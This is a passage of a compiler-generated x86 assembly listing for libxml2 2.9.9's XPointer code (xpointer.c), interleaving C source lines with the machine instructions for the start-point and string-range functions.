$LN13@xmlXPtrSta:
; 1787 : obj = tmp;
mov ebx, edi
$LN12@xmlXPtrSta:
; 1788 : }
; 1789 :
; 1790 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
call _xmlXPtrLocationSetCreate
add esp, 4
mov DWORD PTR _newset$1$[ebp], eax
; 1791 : if (newset == NULL) {
test eax, eax
jne SHORT $LN14@xmlXPtrSta
; 1792 : xmlXPathFreeObject(obj);
push ebx
call _xmlXPathFreeObject
; 1793 : XP_ERROR(XPATH_MEMORY_ERROR);
push 15 ; 0000000fH
push esi
call _xmlXPathErr
add esp, 12 ; 0000000cH
pop edi
pop ebx
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
$LN14@xmlXPtrSta:
; 1794 : }
; 1795 : oldset = (xmlLocationSetPtr) obj->user;
mov eax, DWORD PTR [ebx+28]
mov DWORD PTR _oldset$1$[ebp], eax
; 1796 : if (oldset != NULL) {
test eax, eax
je SHORT $LN30@xmlXPtrSta
; 1797 : int i;
; 1798 :
; 1799 : for (i = 0; i < oldset->locNr; i++) {
xor edi, edi
cmp DWORD PTR [eax], edi
jle SHORT $LN30@xmlXPtrSta
npad 6
$LL4@xmlXPtrSta:
; 1800 : tmp = oldset->locTab[i];
mov eax, DWORD PTR [eax+8]
mov ecx, DWORD PTR [eax+edi*4]
; 1801 : if (tmp == NULL)
test ecx, ecx
je SHORT $LN2@xmlXPtrSta
; 1802 : continue;
; 1803 : point = NULL;
; 1804 : switch (tmp->type) {
mov eax, DWORD PTR [ecx]
sub eax, 5
je SHORT $LN17@xmlXPtrSta
sub eax, 1
jne SHORT $LN2@xmlXPtrSta
; 1807 : break;
; 1808 : case XPATH_RANGE: {
; 1809 : xmlNodePtr node = tmp->user;
mov edx, DWORD PTR [ecx+28]
; 1810 : if (node != NULL) {
test edx, edx
je SHORT $LN2@xmlXPtrSta
; 1811 : if ((node->type == XML_ATTRIBUTE_NODE) ||
mov eax, DWORD PTR [edx+4]
cmp eax, 2
je SHORT $LN26@xmlXPtrSta
cmp eax, 18 ; 00000012H
jne SHORT $LN22@xmlXPtrSta
$LN26@xmlXPtrSta:
; 1812 : (node->type == XML_NAMESPACE_DECL)) {
; 1813 : xmlXPathFreeObject(obj);
push ebx
call _xmlXPathFreeObject
; 1814 : xmlXPtrFreeLocationSet(newset);
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrFreeLocationSet
; 1815 : XP_ERROR(XPTR_SYNTAX_ERROR);
push 16 ; 00000010H
push esi
call _xmlXPathErr
add esp, 16 ; 00000010H
pop edi
pop ebx
$LN1@xmlXPtrSta:
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
$LN17@xmlXPtrSta:
; 1805 : case XPATH_POINT:
; 1806 : point = xmlXPtrNewPoint(tmp->user, tmp->index);
mov edx, DWORD PTR [ecx+28]
$LN22@xmlXPtrSta:
; 1816 : }
; 1817 : point = xmlXPtrNewPoint(node, tmp->index);
; 1818 : }
; 1819 : break;
; 1820 : }
; 1821 : default:
; 1822 : /*** Should we raise an error ?
; 1823 : xmlXPathFreeObject(obj);
; 1824 : xmlXPathFreeObject(newset);
; 1825 : XP_ERROR(XPATH_INVALID_TYPE)
; 1826 : ***/
; 1827 : break;
; 1828 : }
; 1829 : if (point != NULL)
mov eax, DWORD PTR [ecx+32]
push eax
push edx
call _xmlXPtrNewPoint
add esp, 8
test eax, eax
je SHORT $LN2@xmlXPtrSta
; 1830 : xmlXPtrLocationSetAdd(newset, point);
push eax
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrLocationSetAdd
add esp, 8
$LN2@xmlXPtrSta:
; 1797 : int i;
; 1798 :
; 1799 : for (i = 0; i < oldset->locNr; i++) {
mov eax, DWORD PTR _oldset$1$[ebp]
inc edi
cmp edi, DWORD PTR [eax]
jl SHORT $LL4@xmlXPtrSta
$LN30@xmlXPtrSta:
; 1831 : }
; 1832 : }
; 1833 : xmlXPathFreeObject(obj);
push ebx
call _xmlXPathFreeObject
; 1834 : valuePush(ctxt, xmlXPtrWrapLocationSet(newset));
push DWORD PTR _newset$1$[ebp]
call _xmlXPtrWrapLocationSet
push eax
push esi
call _valuePush
add esp, 16 ; 00000010H
pop edi
pop ebx
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
$LN11@xmlXPtrSta:
; 1774 : ((ctxt->value->type != XPATH_LOCATIONSET) &&
; 1775 : (ctxt->value->type != XPATH_NODESET)))
; 1776 : XP_ERROR(XPATH_INVALID_TYPE)
push 11 ; 0000000bH
push esi
call _xmlXPathErr
add esp, 8
pop esi
; 1835 : }
mov esp, ebp
pop ebp
ret 0
_xmlXPtrStartPointFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrStringRangeFunction
_TEXT SEGMENT
_oldset$1$ = -56 ; size = 4
_set$1$ = -52 ; size = 4
_i$1$ = -48 ; size = 4
_num$1$ = -44 ; size = 4
_pos$1$ = -40 ; size = 4
_rindx$1 = -36 ; size = 4
_fendindex$ = -36 ; size = 4
_number$1$ = -32 ; size = 4
_position$1$ = -28 ; size = 4
_bytes$1$ = -24 ; size = 4
_rend$2 = -24 ; size = 4
_fend$ = -24 ; size = 4
_string$1$ = -20 ; size = 4
_end$1$ = -16 ; size = 4
_endindex$1$ = -12 ; size = 4
_start$ = -8 ; size = 4
_startindex$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_newset$1$ = 12 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrStringRangeFunction PROC ; COMDAT
; 2696 : xmlXPtrStringRangeFunction(xmlXPathParserContextPtr ctxt, int nargs) {
push ebp
mov ebp, esp
sub esp, 56 ; 00000038H
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _nargs$[ebp]
xor eax, eax
mov DWORD PTR _end$1$[ebp], eax
mov DWORD PTR _position$1$[ebp], eax
mov DWORD PTR _number$1$[ebp], eax
mov DWORD PTR _pos$1$[ebp], eax
mov DWORD PTR _num$1$[ebp], eax
lea eax, DWORD PTR [esi-2]
mov DWORD PTR _endindex$1$[ebp], 0
cmp eax, 2
ja $LN9@xmlXPtrStr
; 2712 :
; 2713 : if (nargs >= 4) {
push ebx
mov ebx, DWORD PTR _ctxt$[ebp]
cmp esi, 4
jl SHORT $LN13@xmlXPtrStr
; 2714 : CHECK_TYPE(XPATH_NUMBER);
mov eax, DWORD PTR [ebx+16]
test eax, eax
je $LN19@xmlXPtrStr
cmp DWORD PTR [eax], 3
jne $LN19@xmlXPtrStr
; 2715 : number = valuePop(ctxt);
push ebx
call _valuePop
mov ecx, eax
add esp, 4
mov DWORD PTR _number$1$[ebp], ecx
; 2716 : if (number != NULL)
test ecx, ecx
je SHORT $LN13@xmlXPtrStr
; 2717 : num = (int) number->floatval;
cvttsd2si eax, QWORD PTR [ecx+16]
mov DWORD PTR _num$1$[ebp], eax
$LN13@xmlXPtrStr:
; 2718 : }
; 2719 : if (nargs >= 3) {
cmp esi, 3
jl SHORT $LN17@xmlXPtrStr
; 2720 : CHECK_TYPE(XPATH_NUMBER);
mov eax, DWORD PTR [ebx+16]
test eax, eax
je $LN19@xmlXPtrStr
cmp DWORD PTR [eax], 3
jne $LN19@xmlXPtrStr
; 2721 : position = valuePop(ctxt);
push ebx
call _valuePop
mov ecx, eax
add esp, 4
mov DWORD PTR _position$1$[ebp], ecx
; 2722 : if (position != NULL)
test ecx, ecx
je SHORT $LN17@xmlXPtrStr
; 2723 : pos = (int) position->floatval;
cvttsd2si eax, QWORD PTR [ecx+16]
mov DWORD PTR _pos$1$[ebp], eax
$LN17@xmlXPtrStr:
; 2724 : }
; 2725 : CHECK_TYPE(XPATH_STRING);
mov eax, DWORD PTR [ebx+16]
test eax, eax
je $LN19@xmlXPtrStr
cmp DWORD PTR [eax], 4
jne $LN19@xmlXPtrStr
; 2726 : string = valuePop(ctxt);
push ebx
call _valuePop
mov esi, eax
add esp, 4
; 2727 : if ((ctxt->value == NULL) ||
mov eax, DWORD PTR [ebx+16]
mov DWORD PTR _string$1$[ebp], esi
test eax, eax
je $LN19@xmlXPtrStr
mov eax, DWORD PTR [eax]
cmp eax, 7
je SHORT $LN20@xmlXPtrStr
cmp eax, 1
jne $LN19@xmlXPtrStr
$LN20@xmlXPtrStr:
push edi
; 2728 : ((ctxt->value->type != XPATH_LOCATIONSET) &&
; 2729 : (ctxt->value->type != XPATH_NODESET)))
; 2730 : XP_ERROR(XPATH_INVALID_TYPE)
; 2731 :
; 2732 : set = valuePop(ctxt);
push ebx
call _valuePop
mov edi, eax
; 2733 : newset = xmlXPtrLocationSetCreate(NULL);
push 0
mov DWORD PTR _set$1$[ebp], edi
call _xmlXPtrLocationSetCreate
add esp, 8
mov DWORD PTR _newset$1$[ebp], eax
; 2734 : if (newset == NULL) {
test eax, eax
jne SHORT $LN22@xmlXPtrStr
; 2735 : xmlXPathFreeObject(set);
push edi
call _xmlXPathFreeObject
; 2736 : XP_ERROR(XPATH_MEMORY_ERROR);
push 15 ; 0000000fH
push ebx
call _xmlXPathErr
add esp, 12 ; 0000000cH
$LN143@xmlXPtrStr:
pop edi
pop ebx
pop esi
; 2828 : }
mov esp, ebp
pop ebp
ret 0
$LN22@xmlXPtrStr:
; 2737 : }
; 2738 : if (set->nodesetval == NULL) {
mov eax, DWORD PTR [edi+4]
test eax, eax
je $error$149
; 2739 : goto error;
; 2740 : }
; 2741 : if (set->type == XPATH_NODESET) {
cmp DWORD PTR [edi], 1
jne SHORT $LN24@xmlXPtrStr
; 2742 : xmlXPathObjectPtr tmp;
; 2743 :
; 2744 : /*
; 2745 : * First convert to a location set
; 2746 : */
; 2747 : tmp = xmlXPtrNewLocationSetNodeSet(set->nodesetval);
push eax
call _xmlXPtrNewLocationSetNodeSet
; 2748 : xmlXPathFreeObject(set);
push edi
mov esi, eax
call _xmlXPathFreeObject
add esp, 8
; 2749 : if (tmp == NULL)
test esi, esi
jne SHORT $LN25@xmlXPtrStr
; 2750 : XP_ERROR(XPATH_MEMORY_ERROR)
push 15 ; 0000000fH
push ebx
call _xmlXPathErr
add esp, 8
pop edi
pop ebx
pop esi
; 2828 : }
mov esp, ebp
pop ebp
ret 0
$LN25@xmlXPtrStr:
; 2751 : set = tmp;
mov edi, esi
mov esi, DWORD PTR _string$1$[ebp]
mov DWORD PTR _set$1$[ebp], edi
$LN24@xmlXPtrStr:
; 2752 : }
; 2753 : oldset = (xmlLocationSetPtr) set->user;
mov eax, DWORD PTR [edi+28]
; 2754 :
; 2755 : /*
; 2756 : * The loop is to search for each element in the location set
; 2757 : * the list of location set corresponding to that search
; 2758 : */
; 2759 : for (i = 0;i < oldset->locNr;i++) {
xor ecx, ecx
mov DWORD PTR _oldset$1$[ebp], eax
mov DWORD PTR _i$1$[ebp], ecx
cmp DWORD PTR [eax], ecx
jle $error$149
$LL4@xmlXPtrStr:
; 2760 : #ifdef DEBUG_RANGES
; 2761 : xmlXPathDebugDumpObject(stdout, oldset->locTab[i], 0);
; 2762 : #endif
; 2763 :
; 2764 : xmlXPtrGetStartPoint(oldset->locTab[i], &start, &startindex);
mov eax, DWORD PTR [eax+8]
mov edx, DWORD PTR [eax+ecx*4]
; 2599 : if ((obj == NULL) || (node == NULL) || (indx == NULL))
test edx, edx
je SHORT $LN133@xmlXPtrStr
; 2600 : return(-1);
; 2601 :
; 2602 : switch (obj->type) {
mov esi, DWORD PTR [edx]
mov eax, esi
sub eax, 5
je SHORT $LN44@xmlXPtrStr
sub eax, 1
jne SHORT $LN132@xmlXPtrStr
; 2606 : *indx = 0;
; 2607 : else
; 2608 : *indx = obj->index;
; 2609 : return(0);
; 2610 : case XPATH_RANGE:
; 2611 : *node = obj->user;
; 2612 : if (obj->index <= 0)
mov ecx, DWORD PTR [edx+32]
; 2613 : *indx = 0;
; 2614 : else
; 2615 : *indx = obj->index;
; 2616 : return(0);
test ecx, ecx
cmovg eax, ecx
jmp SHORT $LN144@xmlXPtrStr
$LN132@xmlXPtrStr:
; 2600 : return(-1);
; 2601 :
; 2602 : switch (obj->type) {
mov edi, DWORD PTR _start$[ebp]
jmp SHORT $LN45@xmlXPtrStr
$LN44@xmlXPtrStr:
; 2603 : case XPATH_POINT:
; 2604 : *node = obj->user;
; 2605 : if (obj->index <= 0)
mov eax, DWORD PTR [edx+32]
xor ecx, ecx
test eax, eax
cmovle eax, ecx
$LN144@xmlXPtrStr:
; 2638 : switch (obj->type) {
mov edi, DWORD PTR [edx+28]
mov DWORD PTR _startindex$[ebp], eax
mov DWORD PTR _start$[ebp], edi
$LN45@xmlXPtrStr:
sub esi, 5
je SHORT $LN57@xmlXPtrStr
sub esi, 1
jne SHORT $LN58@xmlXPtrStr
; 2642 : *indx = 0;
; 2643 : else
; 2644 : *indx = obj->index;
; 2645 : return(0);
; 2646 : case XPATH_RANGE:
; 2647 : *node = obj->user;
mov eax, DWORD PTR [edx+28]
; 2648 : if (obj->index <= 0)
; 2649 : *indx = 0;
; 2650 : else
; 2651 : *indx = obj->index;
; 2652 : return(0);
xor ecx, ecx
mov DWORD PTR _end$1$[ebp], eax
mov eax, DWORD PTR [edx+32]
test eax, eax
cmovg ecx, eax
mov DWORD PTR _endindex$1$[ebp], ecx
jmp SHORT $LN58@xmlXPtrStr
$LN57@xmlXPtrStr:
; 2639 : case XPATH_POINT:
; 2640 : *node = obj->user;
mov eax, DWORD PTR [edx+28]
; 2641 : if (obj->index <= 0)
mov ecx, DWORD PTR [edx+32]
mov DWORD PTR _end$1$[ebp], eax
xor eax, eax
test ecx, ecx
cmovle ecx, eax
mov DWORD PTR _endindex$1$[ebp], ecx
; 2599 : if ((obj == NULL) || (node == NULL) || (indx == NULL))
jmp SHORT $LN58@xmlXPtrStr
$LN133@xmlXPtrStr:
mov edi, DWORD PTR _start$[ebp]
$LN58@xmlXPtrStr:
; 2765 : xmlXPtrGetEndPoint(oldset->locTab[i], &end, &endindex);
; 2766 : xmlXPtrAdvanceChar(&start, &startindex, 0);
xor ebx, ebx
mov DWORD PTR _bytes$1$[ebp], ebx
; 2301 : cur = *node;
test edi, edi
; 2302 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
je SHORT $LN73@xmlXPtrStr
cmp DWORD PTR [edi+4], 18 ; 00000012H
je SHORT $LN73@xmlXPtrStr
; 2303 : return(-1);
; 2304 : pos = *indx;
mov esi, DWORD PTR _startindex$[ebp]
npad 7
$LL66@xmlXPtrStr:
; 2305 :
; 2306 : while (bytes >= 0) {
; 2307 : /*
; 2308 : * First position to the beginning of the first text node
; 2309 : * corresponding to this point
; 2310 : */
; 2311 : while ((cur != NULL) &&
test edi, edi
je SHORT $LN105@xmlXPtrStr
$LL68@xmlXPtrStr:
mov eax, DWORD PTR [edi+4]
cmp eax, 1
je SHORT $LN74@xmlXPtrStr
cmp eax, 9
je SHORT $LN74@xmlXPtrStr
cmp eax, 13 ; 0000000dH
jne $LN69@xmlXPtrStr
$LN74@xmlXPtrStr:
; 2312 : ((cur->type == XML_ELEMENT_NODE) ||
; 2313 : (cur->type == XML_DOCUMENT_NODE) ||
; 2314 : (cur->type == XML_HTML_DOCUMENT_NODE))) {
; 2315 : if (pos > 0) {
test esi, esi
jle SHORT $LN75@xmlXPtrStr
; 2316 : cur = xmlXPtrGetNthChild(cur, pos);
push esi
push edi
call _xmlXPtrGetNthChild
; 2317 : pos = 0;
; 2318 : } else {
jmp SHORT $LN145@xmlXPtrStr
$LN75@xmlXPtrStr:
; 2319 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
push edi
call _xmlXPtrAdvanceNode
$LN145@xmlXPtrStr:
; 2305 :
; 2306 : while (bytes >= 0) {
; 2307 : /*
; 2308 : * First position to the beginning of the first text node
; 2309 : * corresponding to this point
; 2310 : */
; 2311 : while ((cur != NULL) &&
mov edi, eax
add esp, 8
xor esi, esi
test edi, edi
jne SHORT $LL68@xmlXPtrStr
$LN105@xmlXPtrStr:
; 2320 : pos = 0;
; 2321 : }
; 2322 : }
; 2323 :
; 2324 : if (cur == NULL) {
; 2325 : *node = NULL;
mov DWORD PTR _start$[ebp], 0
; 2326 : *indx = 0;
mov DWORD PTR _startindex$[ebp], 0
$LN73@xmlXPtrStr:
; 2557 : ((*node)->type == XML_NAMESPACE_DECL) || (indx == NULL))
mov edi, DWORD PTR _end$1$[ebp]
test edi, edi
je SHORT $LN140@xmlXPtrStr
mov eax, DWORD PTR [edi+4]
cmp eax, 18 ; 00000012H
je SHORT $LN140@xmlXPtrStr
; 2558 : return(-1);
; 2559 : cur = *node;
mov esi, edi
; 2560 : pos = *indx;
; 2561 :
; 2562 : if ((cur->type == XML_ELEMENT_NODE) ||
; 2563 : (cur->type == XML_DOCUMENT_NODE) ||
cmp eax, 1
je SHORT $LN92@xmlXPtrStr
cmp eax, 9
je SHORT $LN92@xmlXPtrStr
cmp eax, 13 ; 0000000dH
jne SHORT $LN103@xmlXPtrStr
$LN92@xmlXPtrStr:
; 2564 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 2565 : if (pos > 0) {
mov eax, DWORD PTR _endindex$1$[ebp]
test eax, eax
jle SHORT $LN103@xmlXPtrStr
; 2566 : cur = xmlXPtrGetNthChild(cur, pos);
push eax
push edi
call _xmlXPtrGetNthChild
add esp, 8
mov esi, eax
$LN103@xmlXPtrStr:
; 2567 : }
; 2568 : }
; 2569 : while (cur != NULL) {
test esi, esi
je SHORT $LN140@xmlXPtrStr
npad 1
$LL87@xmlXPtrStr:
; 2570 : if (cur->last != NULL)
mov eax, DWORD PTR [esi+16]
test eax, eax
je $LN94@xmlXPtrStr
; 2571 : cur = cur->last;
mov esi, eax
test esi, esi
jne SHORT $LL87@xmlXPtrStr
$LN140@xmlXPtrStr:
; 2360 : return(0);
; 2361 : }
; 2362 : }
; 2363 : return(-1);
; 2364 : }
; 2365 :
; 2366 : /**
; 2367 : * xmlXPtrMatchString:
; 2368 : * @string: the string to search
; 2369 : * @start: the start textnode
; 2370 : * @startindex: the start index
; 2371 : * @end: the end textnode IN/OUT
; 2372 : * @endindex: the end index IN/OUT
; 2373 : *
; 2374 : * Check whether the document contains @string at the position
; 2375 : * (@start, @startindex) and limited by the (@end, @endindex) point
; 2376 : *
; 2377 : * Returns -1 in case of failure, 0 if not found, 1 if found in which case
; 2378 : * (@start, @startindex) will indicate the position of the beginning
; 2379 : * of the range and (@end, @endindex) will indicate the end
; 2380 : * of the range
; 2381 : */
; 2382 : static int
; 2383 : xmlXPtrMatchString(const xmlChar *string, xmlNodePtr start, int startindex,
; 2384 : xmlNodePtr *end, int *endindex) {
; 2385 : xmlNodePtr cur;
; 2386 : int pos; /* 0 based */
; 2387 : int len; /* in bytes */
; 2388 : int stringlen; /* in bytes */
; 2389 : int match;
; 2390 :
; 2391 : if (string == NULL)
; 2392 : return(-1);
; 2393 : if ((start == NULL) || (start->type == XML_NAMESPACE_DECL))
; 2394 : return(-1);
; 2395 : if ((end == NULL) || (*end == NULL) ||
; 2396 : ((*end)->type == XML_NAMESPACE_DECL) || (endindex == NULL))
; 2397 : return(-1);
; 2398 : cur = start;
; 2399 : pos = startindex - 1;
; 2400 : stringlen = xmlStrlen(string);
; 2401 :
; 2402 : while (stringlen > 0) {
; 2403 : if ((cur == *end) && (pos + stringlen > *endindex))
; 2404 : return(0);
; 2405 :
; 2406 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
; 2407 : len = xmlStrlen(cur->content);
; 2408 : if (len >= pos + stringlen) {
; 2409 : match = (!xmlStrncmp(&cur->content[pos], string, stringlen));
; 2410 : if (match) {
; 2411 : #ifdef DEBUG_RANGES
; 2412 : xmlGenericError(xmlGenericErrorContext,
; 2413 : "found range %d bytes at index %d of ->",
; 2414 : stringlen, pos + 1);
; 2415 : xmlDebugDumpString(stdout, cur->content);
; 2416 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2417 : #endif
; 2418 : *end = cur;
; 2419 : *endindex = pos + stringlen;
; 2420 : return(1);
; 2421 : } else {
; 2422 : return(0);
; 2423 : }
; 2424 : } else {
; 2425 : int sub = len - pos;
; 2426 : match = (!xmlStrncmp(&cur->content[pos], string, sub));
; 2427 : if (match) {
; 2428 : #ifdef DEBUG_RANGES
; 2429 : xmlGenericError(xmlGenericErrorContext,
; 2430 : "found subrange %d bytes at index %d of ->",
; 2431 : sub, pos + 1);
; 2432 : xmlDebugDumpString(stdout, cur->content);
; 2433 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2434 : #endif
; 2435 : string = &string[sub];
; 2436 : stringlen -= sub;
; 2437 : } else {
; 2438 : return(0);
; 2439 : }
; 2440 : }
; 2441 : }
; 2442 : cur = xmlXPtrAdvanceNode(cur, NULL);
; 2443 : if (cur == NULL)
; 2444 : return(0);
; 2445 : pos = 0;
; 2446 : }
; 2447 : return(1);
; 2448 : }
; 2449 :
; 2450 : /**
; 2451 : * xmlXPtrSearchString:
; 2452 : * @string: the string to search
; 2453 : * @start: the start textnode IN/OUT
; 2454 : * @startindex: the start index IN/OUT
; 2455 : * @end: the end textnode
; 2456 : * @endindex: the end index
; 2457 : *
; 2458 : * Search the next occurrence of @string within the document content
; 2459 : * until the (@end, @endindex) point is reached
; 2460 : *
; 2461 : * Returns -1 in case of failure, 0 if not found, 1 if found in which case
; 2462 : * (@start, @startindex) will indicate the position of the beginning
; 2463 : * of the range and (@end, @endindex) will indicate the end
; 2464 : * of the range
; 2465 : */
; 2466 : static int
; 2467 : xmlXPtrSearchString(const xmlChar *string, xmlNodePtr *start, int *startindex,
; 2468 : xmlNodePtr *end, int *endindex) {
; 2469 : xmlNodePtr cur;
; 2470 : const xmlChar *str;
; 2471 : int pos; /* 0 based */
; 2472 : int len; /* in bytes */
; 2473 : xmlChar first;
; 2474 :
; 2475 : if (string == NULL)
; 2476 : return(-1);
; 2477 : if ((start == NULL) || (*start == NULL) ||
; 2478 : ((*start)->type == XML_NAMESPACE_DECL) || (startindex == NULL))
; 2479 : return(-1);
; 2480 : if ((end == NULL) || (endindex == NULL))
; 2481 : return(-1);
; 2482 : cur = *start;
; 2483 : pos = *startindex - 1;
; 2484 : first = string[0];
; 2485 :
; 2486 : while (cur != NULL) {
; 2487 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
; 2488 : len = xmlStrlen(cur->content);
; 2489 : while (pos <= len) {
; 2490 : if (first != 0) {
; 2491 : str = xmlStrchr(&cur->content[pos], first);
; 2492 : if (str != NULL) {
; 2493 : pos = (str - (xmlChar *)(cur->content));
; 2494 : #ifdef DEBUG_RANGES
; 2495 : xmlGenericError(xmlGenericErrorContext,
; 2496 : "found '%c' at index %d of ->",
; 2497 : first, pos + 1);
; 2498 : xmlDebugDumpString(stdout, cur->content);
; 2499 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2500 : #endif
; 2501 : if (xmlXPtrMatchString(string, cur, pos + 1,
; 2502 : end, endindex)) {
; 2503 : *start = cur;
; 2504 : *startindex = pos + 1;
; 2505 : return(1);
; 2506 : }
; 2507 : pos++;
; 2508 : } else {
; 2509 : pos = len + 1;
; 2510 : }
; 2511 : } else {
; 2512 : /*
; 2513 : * An empty string is considered to match before each
; 2514 : * character of the string-value and after the final
; 2515 : * character.
; 2516 : */
; 2517 : #ifdef DEBUG_RANGES
; 2518 : xmlGenericError(xmlGenericErrorContext,
; 2519 : "found '' at index %d of ->",
; 2520 : pos + 1);
; 2521 : xmlDebugDumpString(stdout, cur->content);
; 2522 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2523 : #endif
; 2524 : *start = cur;
; 2525 : *startindex = pos + 1;
; 2526 : *end = cur;
; 2527 : *endindex = pos + 1;
; 2528 : return(1);
; 2529 : }
; 2530 : }
; 2531 : }
; 2532 : if ((cur == *end) && (pos >= *endindex))
; 2533 : return(0);
; 2534 : cur = xmlXPtrAdvanceNode(cur, NULL);
; 2535 : if (cur == NULL)
; 2536 : return(0);
; 2537 : pos = 1;
; 2538 : }
; 2539 : return(0);
; 2540 : }
; 2541 :
; 2542 : /**
; 2543 : * xmlXPtrGetLastChar:
; 2544 : * @node: the node
; 2545 : * @index: the index
; 2546 : *
; 2547 : * Computes the point coordinates of the last char of this point
; 2548 : *
; 2549 : * Returns -1 in case of failure, 0 otherwise
; 2550 : */
; 2551 : static int
; 2552 : xmlXPtrGetLastChar(xmlNodePtr *node, int *indx) {
; 2553 : xmlNodePtr cur;
; 2554 : int pos, len = 0;
; 2555 :
; 2556 : if ((node == NULL) || (*node == NULL) ||
; 2557 : ((*node)->type == XML_NAMESPACE_DECL) || (indx == NULL))
mov ebx, DWORD PTR _endindex$1$[ebp]
$LN129@xmlXPtrStr:
mov esi, DWORD PTR _string$1$[ebp]
mov ecx, DWORD PTR [esi+24]
npad 6
$LL7@xmlXPtrStr:
; 2767 : xmlXPtrGetLastChar(&end, &endindex);
; 2768 :
; 2769 : #ifdef DEBUG_RANGES
; 2770 : xmlGenericError(xmlGenericErrorContext,
; 2771 : "from index %d of ->", startindex);
; 2772 : xmlDebugDumpString(stdout, start->content);
; 2773 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2774 : xmlGenericError(xmlGenericErrorContext,
; 2775 : "to index %d of ->", endindex);
; 2776 : xmlDebugDumpString(stdout, end->content);
; 2777 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2778 : #endif
; 2779 : do {
; 2780 : fend = end;
; 2781 : fendindex = endindex;
; 2782 : found = xmlXPtrSearchString(string->stringval, &start, &startindex,
lea eax, DWORD PTR _fendindex$[ebp]
mov DWORD PTR _fend$[ebp], edi
push eax
lea eax, DWORD PTR _fend$[ebp]
mov DWORD PTR _fendindex$[ebp], ebx
push eax
lea eax, DWORD PTR _startindex$[ebp]
push eax
lea eax, DWORD PTR _start$[ebp]
push eax
push ecx
call _xmlXPtrSearchString
add esp, 20 ; 00000014H
; 2783 : &fend, &fendindex);
; 2784 : if (found == 1) {
cmp eax, 1
jne $LN121@xmlXPtrStr
; 2785 : if (position == NULL) {
cmp DWORD PTR _position$1$[ebp], 0
mov edi, DWORD PTR _fend$[ebp]
mov esi, DWORD PTR _fendindex$[ebp]
jne $LN27@xmlXPtrStr
$LN33@xmlXPtrStr:
; 2803 : xmlXPtrNewRange(start, startindex,
; 2804 : start, startindex));
; 2805 : } else {
; 2806 : xmlXPtrLocationSetAdd(newset,
; 2807 : xmlXPtrNewRange(start, startindex,
; 2808 : fend, fendindex));
; 2809 : }
; 2810 : }
; 2811 : start = fend;
push esi
push edi
push DWORD PTR _startindex$[ebp]
push DWORD PTR _start$[ebp]
jmp $LN147@xmlXPtrStr
$LN69@xmlXPtrStr:
; 2333 : if (pos == 0) pos = 1;
test esi, esi
mov ecx, 1
cmove esi, ecx
; 2334 : if (bytes == 0) {
test ebx, ebx
je SHORT $LN106@xmlXPtrStr
; 2338 : }
; 2339 : /*
; 2340 : * We should have a text (or cdata) node ...
; 2341 : */
; 2342 : len = 0;
xor ebx, ebx
; 2343 : if ((cur->type != XML_ELEMENT_NODE) &&
cmp eax, ecx
je SHORT $LN80@xmlXPtrStr
mov eax, DWORD PTR [edi+40]
test eax, eax
je SHORT $LN80@xmlXPtrStr
; 2344 : (cur->content != NULL)) {
; 2345 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
add esp, 4
mov ebx, eax
$LN80@xmlXPtrStr:
; 2346 : }
; 2347 : if (pos > len) {
cmp esi, ebx
jle SHORT $LN81@xmlXPtrStr
; 2348 : /* Strange, the indx in the text node is greater than it's len */
; 2349 : STRANGE
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 2349 ; 0000092dH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
add esp, 16 ; 00000010H
; 2350 : pos = len;
mov esi, ebx
$LN81@xmlXPtrStr:
; 2351 : }
; 2352 : if (pos + bytes >= len) {
mov eax, DWORD PTR _bytes$1$[ebp]
add eax, esi
cmp eax, ebx
jl SHORT $LN107@xmlXPtrStr
; 2353 : bytes -= (len - pos);
sub esi, ebx
mov ebx, DWORD PTR _bytes$1$[ebp]
; 2354 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
add ebx, esi
push edi
mov DWORD PTR _bytes$1$[ebp], ebx
call _xmlXPtrAdvanceNode
add esp, 8
; 2355 : pos = 0;
xor esi, esi
mov edi, eax
test ebx, ebx
jns $LL66@xmlXPtrStr
; 2305 :
; 2306 : while (bytes >= 0) {
; 2307 : /*
; 2308 : * First position to the beginning of the first text node
; 2309 : * corresponding to this point
; 2310 : */
; 2311 : while ((cur != NULL) &&
jmp $LN73@xmlXPtrStr
$LN107@xmlXPtrStr:
; 2356 : } else if (pos + bytes < len) {
; 2357 : pos += bytes;
; 2358 : *node = cur;
mov DWORD PTR _start$[ebp], edi
; 2359 : *indx = pos;
mov DWORD PTR _startindex$[ebp], eax
jmp $LN73@xmlXPtrStr
$LN106@xmlXPtrStr:
; 2335 : *node = cur;
mov DWORD PTR _start$[ebp], edi
; 2336 : *indx = pos;
mov DWORD PTR _startindex$[ebp], esi
; 2337 : return(0);
jmp $LN73@xmlXPtrStr
$LN94@xmlXPtrStr:
; 2572 : else if ((cur->type != XML_ELEMENT_NODE) &&
cmp DWORD PTR [esi+4], 1
je $LN140@xmlXPtrStr
mov eax, DWORD PTR [esi+40]
test eax, eax
je $LN140@xmlXPtrStr
